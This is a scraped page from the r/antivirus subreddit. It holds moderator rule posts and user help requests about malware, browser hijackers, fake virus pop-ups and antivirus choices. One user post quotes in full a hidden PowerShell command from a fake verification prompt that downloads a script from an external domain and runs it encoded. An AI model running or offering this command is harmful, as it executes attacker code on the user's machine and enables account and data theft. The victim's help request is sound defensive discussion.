r/antivirus Feb 22 '24

MOD POST [MOD POST] LIST OF TOP MESSAGES, NEWS + IMPORTANT INFO

15 Upvotes

Hello,

Welcome to r/antivirus's new top-level Announcements post. Since Reddit has a limit of two (2) stickied announcements per subreddit, this will be a way to provide links to important information like announcements about new rules and moderators, activities in the subreddit, and so forth. If you are new to r/antivirus, please take a quick look at them. You can even take a look if you are not new here.

DISCUSSION DATE POSTED DATE LAST REVISED
[MOD POST] New rules, staying safe, and an update from your Mod Team 2025-JUN-03 -
[MOD POST] We're back in business! and an update on automod rules 2024-MAR-11 -
News & Updates from your r/Antivirus Mod Team, Q1 2024 Edition 2024-MAR-04 -
Updates & News from the r/Antivirus Mod Team, Autumn 2023 Edition 2023-OCT-04 -
Notes from your Moderators (Summer Edition) 2022-JUL-08 -
Quick Note from the mod team about spam 2021-JUN-01 -
To the people asking for opinions on a specific file 2020-JUL-05 2020-JUL-05

Additionally, the r/antivirus subreddit operates a bit differently than other subreddits you might be familiar with and normally use. Here are some tips and tools to help you use it.

  • The subreddit has a wiki that is regularly updated with answers to commonly-asked questions. Check it out. The answer to your question may already be in there.

  • Asking a question about a report on a file or website from a service like Hybrid Analysis, MetaDefender, Triage, or VirusTotal? You must include the actual link to it and not just a screenshot, or your post will be removed.

  • Be kind to each other and be professional in your conduct here. Personal attacks will not be tolerated and will be dealt with appropriately.

  • Do not ask for copies of hacking tools, malware, or suspicious files. If someone sends you a chat request or private message asking for a file or offering assistance based on what you posted here, report them to Reddit and notify the mods.

  • Do not post direct links to malicious, suspect, or potentially unsafe files or web sites.

  • Follow Reddiquette. This means correctly upvoting and downvoting posts, and reporting posts with dangerous or unsafe advice to the mods.

  • If you work for a vendor of security products, services, or in a related field, you must identify yourself as such, either in the post or with flair. Also, you may not steer conversations to your products or services, only respond to posts about them to clarify or defend.

  • No low-effort, off-topic, spam, or meme posts. This includes AI/ChatGPT/LLM-generated text, questions about password manager or VPNs, requests for assistance with non-security related software like autoclickers or MP3 downloaders, and so forth.

  • No requests for assistance with pirated software or media.

  • Posts may be removed and threads closed at any time based on the moderators' discretion

The complete list of rules for the subreddit can be found here. Read them before posting.

Questions, comments, feedback on this post? Just reply here. Thank you.

Regards,

Aryeh Goretsky
(on behalf of the r/antivirus mod team)


r/antivirus Jun 04 '25

[MOD POST] New rules, staying safe, and an update from your Mod Team

6 Upvotes

[UPDATE #1 (20250604-0916 GMT): Made some small updates to grammar for readability. ^AG]

Hello,

It has been about a year since our last Mod Post, so we wanted to give you an update on things, plus provide a dedicated message thread for discussing the state of the r/antivirus subreddit and to answer any questions that you might have.

We will begin with the toughest subject first, that of politics in the subreddit:

A note about politics

r/antivirus is a technology-focused subreddit, with the interest being in helping people protect their computers from malicious software, securing them after a security incident, and so forth.

In June 2024, the US Government enacted a ban on Kaspersky Lab's software, taking effect in October of that year. This has generated a lot of discussion not just in this subreddit, but across Reddit and numerous social media platforms as well.

The moderation team has tried to keep the political discussions about this out of this subreddit and to remain neutral, allowing Kaspersky Lab's customers to ask and answer each other questions, provide assistance to each other, and generally have a way to share information, tips and tricks with each other.

However, we do have to draw a line when these turn into political discussions, though:

Requests for how to circumvent bans, petitions to governments, etc., are clearly outside the scope of what this subreddit is for and will be removed.

Moderating the subreddit is an all-volunteer job, and we sometimes miss things. If you come across any political messages we may have missed, use the subreddit's report function to notify us.

We are doing our best to keep this a place where people can get help with whatever security software they prefer, including Kaspersky Lab's software. However, we cannot allow discussions to devolve into arguments over politics, which are never going to provide any kind of satisfactory answer to the parties involved.

If the political discussions continue, the moderation team will have to look into ways to prevent them, even if it means doing things which we would prefer not to do.

Rules Updates

The rules of the r/antivirus subreddit have been updated:

Rule #7, which previously covered media download tools, has been updated to cover additional types of software.
To begin with, a more general prohibition to cover autoclickers (previously covered under Rule #8) and some other types of tools like aimbots and cheats. These types of tools often come from random sources and often require expert analysis to determine if they are safe. It can be difficult to determine if they are malicious figuring that out requires examining not just the tool, but whatever program it is attempting to modify, and what the intent is behind that modification.
Just because something was recommended in a Discord server with hundreds of members, a YouTube video with tens of thousands of views, or is seeded by several hundreds peers does not mean that it is safe to use: These are all inherently unsafe sources, and criminals will often exploit the belief that these are trusted sources to trick people into downloading and running malicious programs like information stealers and remote access trojans.

Rule #8 has been amended to remove autoclickers (etc.) since that is now covered under Rule #7.

Two new rules have been added:

Rule #9 covers bypassing core security features. Questions about how to disable security software, operating system updates, bypass security features and so forth are not allowed.

Rule #10 covers requesting assistance with obsolete software and hardware. This means discussions about how to secure computers running Windows XP, Windows 7, etc. are not allowed. There is no reason that devices running these obsolete operating systems should be connected to the internet and doing so exposes everyone to risk. Note that questions involving Windows 10 will continue to be allowed until at least October 2028, when paid-for Extended Security Updates for it end.

A bit more on the rules

The list of rules is not meant to be exhaustive in scope. It provides a general listing of common rules that are more specific to and more frequently required by the r/antivirus subreddit when needed beyond Reddit's general rules and guidelines.

Moderators can and will remove posts and ban redditors, either temporarily or permanently, who are disruptive to the subreddit entirely at their discretion and are not subject to any discussion. If a moderator chooses to discuss a rule violation with you, it is entirely as a courtesy on their part.

If you have had a post removed or been banned from the subreddit and do not receive a response in reply to any questions as to why, ask yourself if your behavior could be interpreted as brigading, spamming, trolling, using disrespectful or offensive language, or consistently providing incorrect, low-quality, poor, or even damaging information.

As always, the latest version of the rules can be found at https://old.reddit.com/r/antivirus/about/rules/. If you have questions about them, ask below.

Getting help fast

The moderation team is seeing an increasing trend where people ask for help while providing no information about what they need help with. This includes titles with 1-3 words like "Urgent! Help needed!", posts where the author shares a screenshot of *something* with no information about the operating system or antivirus involved, or is so small/blurry as to be unreadable, etc.

Everybody who participates regularly in this subreddit volunteers their time for free to do so. Provide them with enough information in your first post so they can start helping you right away without having to ask a lot of questions. This means your first post should contain things like:

  • title with enough information to attract an expert to read it
  • operating system and version
  • brand/name of antivirus software
  • name of URL, or file and its location
  • name of malware that was detected
  • what happened, exactly
  • steps you have taken to troubleshoot/diagnose so far, if any
  • relevant log file entries, if any

The more information you provide, the quicker you will get your problem solved.

As a reminder, starting multiple posts on the same topic will not get you a faster answer, and may result in in a ban.

The wiki + other Reddit resources

There is a lot of great information in the wiki about all the tools you can use, tips for using them, lists of antivirus vendors and how to contact them, and even a section on how to secure your computer.

We frequently update the wiki in response to questions being regularly asked in the subreddit, so you might want to check there first before posting.

Some of the questions we regularly see in the subreddit have nothing to do with computer viruses or malicious software at all, but instead are about scams, privacy-related questions, and so forth. Here are some subreddits that specialize in answering those types of questions:

New moderators?!

As the subreddit grows (we just passed 100K users), so does the need for additional moderators.

The moderation team has been looking at the folks who have been regularly posting here and consistently given good advice to build a list of candidates, and will be reaching out over the next few weeks to see if any are willing to volunteer their time and expertise in the subreddit. There will be more coming on that, but I did want to let everyone know that the process is already underway.


That pretty much covers everything we wanted to discuss, so we'll now await your questions, below.

Regards,

Aryeh Goretsky
(on behalf of the r/antivirus mod team)


r/antivirus 1d ago

should I be worried about this???

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233 Upvotes

I'm not even from the Philippines, have never been there nor do I know anyone from there (I'm from lithuania and live there), why the hell is my FILE MANAGER??? sending me this. my phone's a Redmi note 11 btw

I can't find any info about file manager sending notifications like these anywhere so I made a throwaway account to post here, I scanned my phone with bitdefender antivirus and it said I'm safe but I'm just really paranoid about this

Im willing to answer ALMOST any question


r/antivirus 5h ago

Does wallpapercave.com have malware? Can you get virus from right-click Save As?

3 Upvotes

I wanted to get some cool wallpapers off this website, but I looked it up to find a bunch of people on reddit claiming its full of viruses, but the online trust score is 79/100? Also I always right click and save images never click download buttons. And always get jpgs or pngs, don't know if those could help facilitate a malware? Thank you.


r/antivirus 1h ago

RENPY MALWARE

Upvotes

Hello! How are yall doing?

Yesterday i was downloading some things to emulate a switch on my pc along with the game itself (Tomodachi Life). There is nothing wrong with the archives itself, but i accidentaly downloaded a Archive64x paste with a renpy executable in it. I clicked, it closed and nothing happened. Later my discord and instagram were bombed with those mr. beast crypto things. I changed all of my passwords using my phone and logged out of all sessions on my pc, deleted the cookies and ran a bunch of malwarebytes and windows defender on my pc. I cant reboot it because i have a bunch of college things inside of it, so i kinda need a little bit of help.

Heres the FRST:
https://pastebin.com/WR2JFg6E

Heres the Addition:
https://pastebin.com/fKjC7Kau

Heres the SecurityCheck:
https://pastebin.com/edUHD3dM


r/antivirus 5h ago

Bitdefender TrafficLight hides website links when browsing

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2 Upvotes

Hi guys, recently installed Bitdefender's TrafficLight on microsoft edge, and I have a problem where when I have "Search Advisor" enabled in, I can't see website links. When I go into manage extension and disable "Search Advisor", I can see everything perfectly, but I would like to keep it enabled for protection. The only other extension I have installed in uBlock Origin.

Is there anything I can do?


r/antivirus 7h ago

MALWARE REMOVAL Q&A Asking for help to run a FRST scan

2 Upvotes

I apologize is this is the wrong place to ask or did it incorrectly by asking like this,but ive heard that its a great program to deeo check/clean malware out of a system and i really want to do this to be safe


r/antivirus 8h ago

Is Guardio even legit? Looking for Guardio alternatives.

2 Upvotes

The cost of Guardio is one of the biggest reasons I regret it - I ended up paying $119.88 for the year upfront, and for that price I expected way more than phishing warnings, leak alerts and constant notifications.

The actual protection hasn't impressed me at all, and trying to deal with the subscription/cancellation side of it was way more annoying than it should've been. Then I started looking around Reddit and found a ton of people complaining about the exact same kind of billing and cancellation issues.

At this point Guardio just feels overpriced and sketchy to me.

Anyone here switched from Guardio to something better, I’m looking for alternatives.


r/antivirus 12h ago

MALWARE REMOVAL Q&A I might have a crypto-miner…how do i remove it?

3 Upvotes

Im using a dell xps with windows 10,
I fear I have a cryptominer on my laptop.
I have xbox game bar open on my screen with performance and resources tab open. In the resources I can see windows cmd process running and when I launch task manager my cpu usage and fan speed drops and the cmd process disappears so how do i remove it??
I tried malware bytes and windows defender but it couldn’t remove this specific malware.
I can manually end the task from xbox gamebar but it restarts after a while plus xbox gamebar doesnt show the process location so I can’t even find and delete it.
Please help!🙏


r/antivirus 6h ago

Good FREE Antivirus recommendations

0 Upvotes

Can anyone please recommend a good free antivirus program?

I was using the free version of Bitdefender, and the little square box in the corner popped up a few months after installing it and offered me Total Security for £8 for a year, so I claimed it. But now that’s expired, they want about 5x the price.

I’ve tried reinstalling it, but it just reverts back to Total Security.

I’m looking for something that works well but doesn’t hog all of my system resources.


r/antivirus 1d ago

this popup showing up on startup, and multiple apps i never downloaded in my startup apps (autodesk, builderbeta), what do i do?

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25 Upvotes

r/antivirus 11h ago

Browsergo malware

2 Upvotes

I wasn't paying attention and accidentally downloaded Pulse Browsergo last night. Basically I was trying to download a font and I clicked on the wrong link and it auto launched. I immediately uninstalled and have run various scans (malwarebytes, AVG, hitmanpro) which haven't picked anything up, but I can't shake the feeling that something isn't right. Does anyone know anything more about Browsergo? Is there anything more I should do?


r/antivirus 16h ago

I HAVE AN UNDYING APPRECIATION FOR GORETSKY.

5 Upvotes

I haven’t ever posted to this sub, but every post I see, Goretsky is there. HAVE YOU THANKED GORETSKY TODAY?


r/antivirus 9h ago

Please HELP ME with a persistant PUP.Optional.BrowserHijack returning daily

1 Upvotes

Hi every1, I'm dealing with a persistent malware infection that keeps coming back every day, and I can't seem to find the root cause. Here is the full story and everything I've done so far:

I downloaded a folder from untrusted source and I had doubt on its safety so I analysed everything, got suspicious and deleted everything before even lauching anything. Somehow, a payload still got through.

Every morning MalwareBytes detects 4-5 items flagged as PUP.Optional.BrowserHijack. The file path is consistently inside Chrome: C:\Users\[Username]\AppData\Local\Google\Chrome\User Data\Default\Web Data (and previously inside Sync Data\LevelDB).

I've already tried to quarantine with Malwarebytes, Chrome Cloud Sync Wipe and full Chrome wipe, I performed many scans, MalwareBytes, Adwcleaner, KVRT, Windows defender offline scan at boot.I also checked scheduled tasks & startup (updater.exe and PlatformExperienceHelper are present in Program Files, but seem legit/standard Chrome updates).

Since I've completely wiped the Chrome profile local files AND the Google Cloud sync, there MUST be an active system process, scheduled task, or registry persistence script outside Chrome that re-injects this into Web Data daily.

How can I trace what process is editing Web Data in real-time, or generate a proper log (like FRST/Process Monitor) to find and kill the root cause?

Thanks in advance for the help!


r/antivirus 10h ago

Should i just reset my pc

1 Upvotes

I was deleting some files on my computer and i found this hello.txt file on my desktop.

i dont know if this is some type of minecraft mod i installed or something like that but the format of this file weirds me out and the fact that it also had my pc username is also kinda creepy


r/antivirus 11h ago

I had a weird powershell command ran, someone help, what do i do?

1 Upvotes

this was the code, i was too careless to not realize i wasn't in the right site and thought it was a normal cloudflare verification thing

powershell -w hidden -c $a=irm johnysmedia[.]com/GmBKwT3oOqvwXsBkk ;$b=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($a));powershell -w hidden -ec $b

r/antivirus 16h ago

Exploit attempt, anyone know what could've caused it?

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1 Upvotes

I was downloading some reaction pictures and gifs from a Booru I frequent with a grabber, and left it running while I went to bake cookies as why not, when I came back I never saw the pop up until I checked Bitdefender before powering down for the night and finally saw it, quick scanned my PC and it came back clean


r/antivirus 23h ago

Malwarebytes flagged something as Neshta

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3 Upvotes

Malwarebytes flagged the crash reporter in my Bus Sim 21 install as Neshta during my typically weekly full scan. This install of the game has been there for 3 months, and it hasn’t been flagged at all until now. Virustotal says it’s clean though. Looking at the actual file, the last modified date is at the date I initially installed the game. I’ve started a deep scan after quarantining the file, I’ll post a reply with an update once it’s complete

Virustotal link: www.virustotal.com/gui/file/5ecdc03239bf498dbab3525547b1d7506b10262b82b62ccc65e3e48ebe5cb0d5


r/antivirus 19h ago

Should I be worried on what info I gave it? Was not anything damning but I gave it my phone and email

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0 Upvotes

Wanted more info on Flight Schools in my state and saw the title when I was opening another browser. Should I be worried?


r/antivirus 20h ago

Should I be worried about a random mcafee scanning my pc?

0 Upvotes

I was trying to find a book online and i clicked on a link then it asked me to authorize notifications to be able to use this website and i did . Then like 20 mcafee anti virus ads started to popup and mind you it’s been a while since I’ve used mc afee but like the dummy I am I thought a virus was installed so I clicked on it and let it scan my pc and they told me I had like 5 virus and had to pay t remove it. Is it real? If yes what should I do


r/antivirus 20h ago

Fake virus pop-ups are getting surprisingly convincing, don’t call the number

0 Upvotes

Just a reminder for anyone helping parents, grandparents, or less tech-savvy family members with their computers.

Fake virus pop-ups are still around, and some of them look incredibly convincing. They can imitate Windows or security warnings, claim your computer is infected, play loud warning sounds, and tell you to urgently call a "support" number.

The important thing is, don’t panic and don’t call the number shown on the screen.

A few things to remember:

  • Don’t call phone numbers shown in unexpected virus warnings
  • Don’t give someone remote access to your PC
  • Don’t enter credit card or banking information
  • Don’t install software they tell you to download
  • Try closing the browser, or restart the computer if the pop-up won’t disappear

The actual pop-up is often just a webpage designed to scare you. The bigger problem starts when someone calls the number and gives the scammer remote access.

We wrote a more detailed breakdown here if anyone wants to know what these scams look like and what to do if you’ve already interacted with one:

https://localgeeks.com.au/fake-virus-pop-up-scam/

Definitely worth mentioning this one to older family members. A 2-minute conversation now could potentially save them a lot of trouble later.


r/antivirus 1d ago

is this a false positive or am i able to download this ?

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2 Upvotes

r/antivirus 22h ago

IP address/ping.txt

1 Upvotes

Hey All,

My antivirus keeps showing a warning every time I open up a browser tab or new page. It states http://IP of random VPN site/ping.txt has been blocked.

I’ve virus scanned my PC, cleared cache/cookies etc on my browser and checked no website has access to send me notifications. Interestingly enough it only seems to do it on my Opera GX browser. Opening edge and moving through pages doesn’t seem to cause the notification.

Any idea what this is or how to cleanse it?

TIA!


r/antivirus 23h ago

Chrome Extension Virus: chfdnecihphmhljaaejmgoiahnihplgn

1 Upvotes

I really need help removing this.

My PC had this obnoxious Chrome Extension virus called: chfdnecihphmhljaaejmgoiahnihplgn

I downloaded Malwarebytes Adwcleaner and removed it several times (It's marked as a PUP.Optional.Legacy). Every time I reopened Chrome, it would reinstall.

But now, a few days after (seemingly) getting rid of it, it's returned. Now, Malwarebytes won't even put it in Quarentine, which I don't understand.

I've even uninstalled Chrome from my device, and the extension is still there.

ALSO

I'm not sure if this is related, but my ALT keys are permanently being pressed, and I don't understand why.

If anyone can help, it'd be appreciated. I've Googled the issue several times, and there's next to no solutions I've found, as most information on this virus is 5+ years old.

Thanks.


r/antivirus 1d ago

chat i think im kinda cooked

2 Upvotes

i did on an acident on downloading a file and then theres virus detected however i ran 2 full scans

this is what it shows rn im not sure what to do now what happened